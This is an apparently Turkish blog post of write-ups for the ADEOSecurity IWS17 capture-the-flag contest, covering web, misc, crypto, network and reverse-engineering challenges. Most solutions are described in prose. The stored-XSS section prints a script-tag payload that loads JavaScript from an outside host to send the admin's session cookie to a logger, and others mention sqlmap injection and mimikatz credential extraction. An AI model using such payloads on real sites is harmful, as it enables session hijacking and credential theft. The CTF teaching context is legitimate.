ADEOSecurity IWS17 | CTF Çözümleri

Merhaba arkadaşlar Adeo staj programına öğrenci almak için 13.05.2017 00:00 – 14.05.2017 00:00 tarihleri arası online bir ctf düzenledi.

Bende bu ctf’e katıldım ve kendimce bişeyler yaptım şimdi sizlerle soru çözümlerini paylaşacağım.

Öncelikle sorulara bir göz atalım.

4 web, 3 misc, 1 crypto, 3 system-network, 4 reverse olmak üzere toplam 15 sorudan oluşuyor ctf.

Kırmızı olarak gördükleriniz deneme hakkımı doldurduğum sorular fakat çözümlerini sağladım ve sizlerle paylaşacağım :)

 

  • Web 200

Bu soruda http headerda gizlenmiş flag’e ulaşmamız isteniyordu araya herhangi bir http debugger sokarak veya direk tarayıcı üzerinden developer toolstan elde edilebilirdi.

  • Web 500

Bu soruda linkte ki sayfayı ziyaret ettiğimizde karşımıza “Nerede bu flag?” yazısı çıkıyordu headerda da herhangi bir şey yoktu.

Kaynak kodlarını incelediğimde jquery.min.js dosyasının import edildiğini gördüm bunun bir şaşırtmaca olduğunu düşündüm.

Dosyayı inlecediğimde obfuscate edilmiş biçimde bir kısım buldum.

Herhangi bir js deobfuscator’e attığımızda kolayca flage ulaşabilirdik.(ben http://jsbeautifier.org/ tercih ettim.)

  • Web 1000

Bu soruda basitçe sql injection yapmamız isteniyordu ben bu iş için sqlmap aracını tercih ettim fakat sayfada csrf token kullanıldığı için doğrudan kullanamazdım bir iki parametre ile bunu atlatıp sonuca ulaştım.

ve başarılı bi şekilde flage ulaştık.

  • Web 1500

Tahminimce çoğu kişi bu soruda zorlandı çünkü biraz değişik bir soruydu yarışmada ki en yüksek puanlı soruydu açıkçası ben beğendim.

Kısacası bir adet stored xss var ve biz onu başarılı bir şekilde istismar edip yöneticinin oturumunu çalacağız.

Basitce mesajınız kısmına “<script src=”https://www.ismailkundakci.com/hello.js”></script>” yazarak payloadımı uyguluyorum (hello.js dosyasının içinseki js kodları çalıştığı anda cookie bilgisini arka taraftaki php dosyasına gönderiyor php dosyasında da basitçe loglama yapılıyor.)

 

Ref kısmındaki linke tarayıcıma çaldığımız sessionid’yi set ederek gittiğimde flag(XSS_Tehlikelidir) değerine ulaştım.

  • Misc 300

Bu soruda indirdiğimiz dosyanın içinde yoga’dan bir alıntı vardı dikkatli incelediğimde bazı harflerin fontlarının farklı olduğunu gördüm bunları birleştirdiğimizde flag çıkıyordu.

(Kolay anlaşılması için farklı fontlu harfleri kırmızıya boyadım.)

  • Misc 400

Bu soruda suntzu’dan bir söz verilmişti indirğimiz dosyanın içinde bir adet görsel bulunmaktaydı görselin uzantısını zip yaparak arşive ulaştım fakat arşiv şifreliydi şifresi ise soruda sözü paylaşılmış olan suntzu idi içinden bir adet config.php çıktı ve flag burda.

  • Misc 750

Bu soru çok basit ve yüksek puanlıydı linkteki müziği dinlediğimde godfather soundtrack olduğunu anladım. Flag godfather idi.

  • Crypto 600

Dosyayı indirip açtığımızda anlamsız cümleler gözüküyordu.

 

Bu soru başta kolay gibi görünse de göründüğü kadar kolay değildi en başta aklıma ilk gelen sezar şifrelemeyi denedim fakat sonuca ulaşamadım.

Daha sonra yaptığım araştırmalarda bunun bir substitution şifrelemesi olduğunu öğrendim ve https://www.guballa.de/substitution-solver sitesinden çözümü sağladım.

  • System-Network 300

Bu soruda elimizde bir adet pcap dosyayı vardı ipucu olarak malformed datagram olduğu için direk udp paketleri incelemeye başladım ve malformed olanlara baktığımda flag değerine ulaştım.

  • System-Network 600

Dosyayı indirdiğimizde elime bir adet dmp file geçti aklıma direk mimikatz geldi ve denemeye karar verdim.

Parolaya ulaştım fakat hashli idi herhangi bir hash cracking sistesini kullanarak Password1 flag değerine ulaşabildim.

  • System-Network 1000

Bu soruda arşivi açtığımızda iki adet dosya çıkıyordu ipucu.jpg dosyasında mimkatz’ı yazan abimizin fotoğrafı yer almaktaydı.

Mimikatz kullanarak kolayca flag değerine ulaştım.

  • Reverse 300

Bu soruda bir adet içinde makro excell dosyası verilmişti dosyayı gnu strings aracıyla açtığımda bazı binary kodlarına ulaştım.

Binary to text işlemi yaptğımda flag değerine ulaştım.

  • Reverse 700

Bu soruda bize bir adet shellcode verilmişti hızlı bir şekilde halletmek istediğim için internette shellcode’u derlenmiş exeye çeviren bir tool buldum.

Çıkan executable’ı çalıştırdığımda flag değerine ulaştım

  • Reverse 700 (2)

Detect it easy ile baktığımda programın upx ile packendiğini gördüm. Hızlı bir şekilde upx unpack işlemi yaptım.

Vb Decompiler aracıyla açtığımda sonuca ulaştım.

  • Reverse 1000

Bu soru diğerlerine göre biraz daha uğraştıcı bi soruyla herhangi bi debugger aracıyla sonuca ulaşamadım en sonunda p32dasm adlı decompiler ile işi çözdüm.

Xor işlemini tersine çevirerek flag’e ulaşmaya çalıştım fakat hexadecimal bir çıktı verdi.

Hexadecimal çıktıyı text’e çevirerek sonuca ulaştım.